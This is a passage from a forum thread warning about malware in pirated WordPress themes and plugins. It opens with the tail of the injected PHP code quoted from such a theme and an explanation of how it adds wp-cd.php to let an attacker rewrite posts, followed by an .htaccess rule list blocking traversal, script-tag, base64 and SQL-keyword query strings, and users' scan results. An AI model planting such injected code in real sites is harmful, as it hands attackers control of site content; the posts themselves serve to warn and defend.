print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}

exit;
}


?>

First, it adds a file to your wp includes folder named: wp-cd.php
It also adds code to your theme functions.php file. Basically, if you create posts that match the keywords the hacker is interested in, he or she can then rewrite that post to include whatever the hacker wants.
find Quote
11-15-2016, 06:10 AM
Post: #17
Gadzookz Offline
Gadzookz
*****
Posts: 5,372
Joined: Sep 2012

Reputation: 524
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
Adding this to your htaccess file can defend against alot of nastiness:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC]
RewriteRule ^(.*)$ - [F,L]
RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini [NC,OR]
RewriteCond %{QUERY_STRING} tag\= [NC,OR]
RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
RewriteCond %{QUERY_STRING} http\: [NC,OR]
RewriteCond %{QUERY_STRING} https\: [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|%3D) [NC,OR]
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>|ê|"|;|\?|\*|=$).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(and#x22;|and#x27;|and#x3C;|and#x3E;|and#x5C;|and#x7B;|and#x7C;).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%24&x).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare).* [NC]
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteRule ^(.*)$ - [F,L]
</IfModule>
find Quote
11-15-2016, 06:22 AM
Post: #18
CanhCam Guy Offline
Hunter
**********
Posts: 3,048
Joined: Sep 2015

Reputation: 5882
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
(11-15-2016 06:10 AM)Gadzookz Wrote:  Adding this to your htaccess file can defend against alot of nastiness:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC]
RewriteRule ^(.*)$ - [F,L]
RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini [NC,OR]
RewriteCond %{QUERY_STRING} tag\= [NC,OR]
RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
RewriteCond %{QUERY_STRING} http\: [NC,OR]
RewriteCond %{QUERY_STRING} https\: [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|%3D) [NC,OR]
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>|ê|"|;|\?|\*|=$).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(and#x22;|and#x27;|and#x3C;|and#x3E;|and#x5C;|and#x7B;|and#x7C;).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%24&x).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare).* [NC]
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteRule ^(.*)$ - [F,L]
</IfModule>

Excellent.
I use themecheck for the Boombox Themes from (he did share many themes in Softwares Section and redirect to his site [Reported by Members as SPAM THREAD] dot com to download)...And this result is:(from null24)
Line 19: echo @file_get_contents( $footer_pattern_path );

Line 19: echo @file_get_contents( $header_pattern_path );
His share here:
http://bestblackhatforum.com/Thread-GET-...ht=boombox
Maybe it will get file from other sites?
Thanks
www find Quote
11-15-2016, 06:23 AM (This post was last modified: 11-15-2016 06:29 AM by berlinerin.)
Post: #19
berlinerin Offline
Super Active BBHF Member
*****
Posts: 8,697
Joined: Jan 2013

Reputation: 10794
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
(11-15-2016 05:40 AM)dccountrydz Wrote:  Hhm..scan with Virustotal is not enough ...Virustotal will become a lazy stupid solution for security problems on themes...I can create a code line for requesting a script from other sites and Virustotal is really BlindMan with it.

yes and for normal big file not!
I hope for wordpress one day comes out a good virus/malware Cleaner.
I really think of making html-sides, instead of wp sites !!!
____________________________________________________________
✨⭐⭐️️Heart⭐⭐️️✨
____________________________________________________________

✨ OPEN A NEW ETSY SHOP WITH THIS FREE 40 LISTINGS
FOR 4 MONTH! https://etsy.me/3MVv7ZI ✨
find Quote
11-15-2016, 06:30 AM
Post: #20
Nov13 Offline
Member
***
Posts: 51
Joined: Sep 2016

Reputation: 41
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
What's the difference between .rar and .zip files?
Recently I've downloaded a Nulled WP plugin. I unzipped and compressed again with Winrar(.rar) and got one virus.
https://www.virustotal.com/en/file/ba61e.../analysis/
SHA256: ba61e351a47f207bd1fe6ac99171adefa0a4e1fa9b83b33b1f1ec078fbc7e038
File name: upload.rar
Detection ratio: 1 / 53
Analysis date: 2016-11-10 20:36:44 UTC ( 3 days, 23 hours ago )

I again compressed it today by windows default system and got a .zip file. But this time its clean
https://www.virustotal.com/en/file/f5996...479154631/
SHA256: f5996fc0018fef296ed0878b7e619d616041076ed3ae94c62e38f7f6c72f3f71
File name: load.zip
Detection ratio: 0 / 54
Analysis date: 2016-11-14 20:17:11 UTC ( 10 minutes ago )

So, what happened?
88.gif
find Quote
New Reply
 




64.gif
Contact Us | BestBlackhatForum | Return to Top | Return to Content | Lite (Archive) Mode